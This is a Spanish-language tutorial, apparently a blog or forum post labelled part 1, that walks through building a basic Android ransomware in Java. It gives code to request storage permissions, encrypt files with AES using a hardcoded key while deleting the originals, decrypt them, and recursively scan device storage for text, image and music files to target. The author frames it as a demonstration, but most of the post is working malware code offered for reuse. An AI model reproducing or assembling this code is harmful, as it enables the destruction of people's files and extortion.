Quiero compartirles algo en lo que he estado trabajando, se hablo mucho de los famosos ransomware, del ciber ataque mundial que sufrieron muchas empresas y ademas entenderemos en este Post que es un Ransomware y como opera.

En este Post les enseñare como crear un simple ransomware utilizando el algotirmo de encriptacion AES de 256 bytes, nos permite cifrar archivos de texto, imagenes y musica.
Bueno y pues como me gusta todo este mundo quise hacerme el mio, pero no para hacer daño, quise hacerme el mio para demostrar de lo que podemos ser victimas o que tambien nos puede servir de ayuda.

Antes que nada quiero decirles que este Post va dirigido a personas con conocimientos basicos en java y Android.

Comenzamos, primero abrimos Android Studio y creamos un nuevo proyecto, creamos un EmptyActivity con su respectiva clase, algo asi debe quedar:

Primero organizare la parte visual, voy a crear un EditText y dos Botones, uno para encriptar y otro para desencriptar, algo asi quedaría:

Código: Java
  1. <TextView
  2.             android:id=”@+id/textView4″
  3.             android:layout_width=”match_parent”
  4.             android:layout_height=”wrap_content”
  5.             android:layout_gravity=”center_vertical|center_horizontal|center”
  6.             android:fontFamily=”monospace”
  7.             android:text=”Contraseña”
  8.             android:textSize=”18sp” />
  9.         <EditText
  10.             android:id=”@+id/clavesita”
  11.             android:layout_width=”match_parent”
  12.             android:layout_height=”wrap_content”
  13.             android:ems=”10″
  14.             android:inputType=”textPassword” />
  15.         <Button
  16.             android:id=”@+id/boton1″
  17.             android:layout_width=”match_parent”
  18.             android:layout_height=”wrap_content”
  19.             android:text=”Encriptar” />
  20.         <Button
  21.             android:id=”@+id/boton2″
  22.             android:layout_width=”match_parent”
  23.             android:layout_height=”wrap_content”
  24.             android:text=”Desencriptar” />

algo asi se veria:

Listo ya empezamos con lo interesante, ¡el codigo!
presten atencion a cada detalle que nombro, muchas ‘cositas’ me quitaron horas y horas, asi que cuidado

Primero hay que pedir permisos, ya que tengo un celular con Marshmallow, tengo que pedir los permisos tanto en el Manifest como en tiempo de ejecucion, nos vamos a la carpeta manifest, doble click al archivo AndroidManifest.xml y colocamos esto:

Código: Java
  1. <uses-permission android:name=”android.permission.READ_EXTERNAL_STORAGE” />
  2. <uses-permission android:name=”android.permission.WRITE_EXTERNAL_STORAGE”/>

ahora vamos a la clase que creamos junto con el EmptyActivity, la mia se llama MainActivity, pedire los permisos en ejecución:

Código: Java
  1. //Verificamos si ya tiene permisos
  2.   if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  3.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE)== PackageManager.PERMISSION_GRANTED){
  4.   Toast.makeText(this, “La app ya tiene permisos”, Toast.LENGTH_SHORT).show();
  5. //Ya tenemos los permisos necesarios
  6. //Podemos proceder a trabajar con la memoria de el celular
  7. } else{
  8. //Si no tenemos permisos, creare una funcion para pedirlos
  9. PedirPermisos();
  10. }

fuera del metodo OnCreate, definimos la función:

Código: Java
  1. public void PedirPermisos() {
  2.         if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
  3.             Toast.makeText(this, “Se necesitan permisos”, Toast.LENGTH_SHORT).show();
  4.         }
  5.         ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
  6.                 MY_PERMISSIONS_REQUEST);
  7.     }

Para saber la respuesta de el usuario vamos a crear nuestra propia version de la funcion onRequestPermissionsResult que es la que nos dice si el usuario nos dio los permisos o no

Código: Java
  1. @Override
  2.     public void onRequestPermissionsResult(int requestCode,
  3.                                            String permissions[], int[] grantResults) {
  4.         if (requestCode == MY_PERMISSIONS_REQUEST) {
  5.             // If request is cancelled, the result arrays are empty.
  6.             if (grantResults.length > 0
  7.                     && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
  8.                 Toast.makeText(this, “La app ya tiene permisos”, Toast.LENGTH_SHORT).show();
  9.             } else {
  10.                 Toast.makeText(this, “SIN PERMISOS NO SE PUEDE EJECUTAR LA APP”, Toast.LENGTH_SHORT).show();
  11.             }
  12.             return;
  13.         }
  14.     }

Algo asi les debe estar quedando

Luego voy a crear mi funcion de encriptar(), la cual necesita una clave de parametro, es la clave con la que vamos a cifrar los archivos, tiene que ser una clave de 16 bytes de tamaño, obligatoriamente!, yo utilizare esta = tr3D0ctaOlajESzU y una direccion, esta es la ubicacion de el archivo

Código: Java
  1. public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.         //Archivo de entrada(sin encriptar)
  3.         File extStore = Environment.getExternalStorageDirectory();
  4.         FileInputStream Entrada = new FileInputStream(“/” + direccion);
  5.        //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg
  6.         FileOutputStream Salida = new FileOutputStream(extStore + “/encript_” + nombre);
  7.         // Tamaño de la key 16 bytes!
  8.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), “AES”);
  9.    // Se crea el Cipher, el encargado de cifrar los streams
  10.         Cipher cipher = Cipher.getInstance(“AES”);
  11.         cipher.init(Cipher.ENCRYPT_MODE, sks);
  12.         // stream de salida, archivo de salida
  13.         CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
  14.  // Escribe bytes
  15.         int b;
  16.         byte[] d = new byte[8];
  17.         while ((b = Entrada.read(d)) != -1) {
  18.             cos.write(d, 0, b);
  19.         }
  20.       //Cierra los stream
  21.         cos.flush();
  22.         cos.close();
  23.         Entrada.close();
  24.         //Borra el archivo original
  25.         File tmp = new File(“/” + direccion);
  26.         tmp.delete();
  27.     }

y nuestra funcion desencriptar() , no la comentare porque hace casi lo mismo que la anterior

Código: Java
  1. public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.         File extStore = Environment.getExternalStorageDirectory();
  3.         FileInputStream Entrada = new FileInputStream(“/” + direccion);
  4.         FileOutputStream Salida = new FileOutputStream(extStore + “/decrypt_” + nombre);
  5.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
  6.                 “AES”);
  7.         Cipher cipher = Cipher.getInstance(“AES”);
  8.         cipher.init(Cipher.DECRYPT_MODE, sks);
  9.         CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  10.         int b;
  11.         byte[] d = new byte[8];
  12.         while ((b = cis.read(d)) != -1) {
  13.             Salida.write(d, 0, b);
  14.         }
  15.         Salida.flush();
  16.         Salida.close();
  17.         cis.close();
  18.         //Borra el archivo encriptado
  19.         File tmp = new File(“/” + direccion);
  20.         tmp.delete();
  21.     }

Listo ya tenemos nuestras funciones encargadas de cifrar los archivos, ahora necesitamos una funcion  para todas las carpetas del sistema buscando los archivos a encriptar, quedaria algo así:

Código: Java
  1. public static ArrayList<File> EncontrarArchivos(File root) {
  2.         ArrayList<File> Archivos = new ArrayList<File>();
  3.         File[] _archivos = root.listFiles();
  4.         if (_archivos != null) {
  5.             for (File lista : _archivos) {
  6.                 if (lista.isDirectory() && !lista.isHidden()) {
  7.                     Archivos.addAll(EncontrarArchivos(lista));
  8.                 } else {
  9.                      //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3
  10.                     if(lista.getName().endsWith(“.txt”)|| lista.getName().endsWith(“.jpg”)|| lista.getName().endsWith(“.jpeg”)||
  11.                   lista.getName().endsWith(“.png”) || lista.getName().endsWith(“.mp3”)) {
  12.                         if (lista.getTotalSpace() > 3) {
  13.                         //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista
  14.                             Archivos.add(lista);
  15.                         }
  16.                     }
  17.                 }
  18.             }
  19.         }
  20.         return Archivos;
  21.     }

Bueno basicamente ya tenemos nuestras principales funciones ya listas, ahora programaremos que al hacer click sobre el boton encriptar, ejecute nuestra funcion encriptar con los archivos que encontro en el sistema el cual se vera en la parte 2.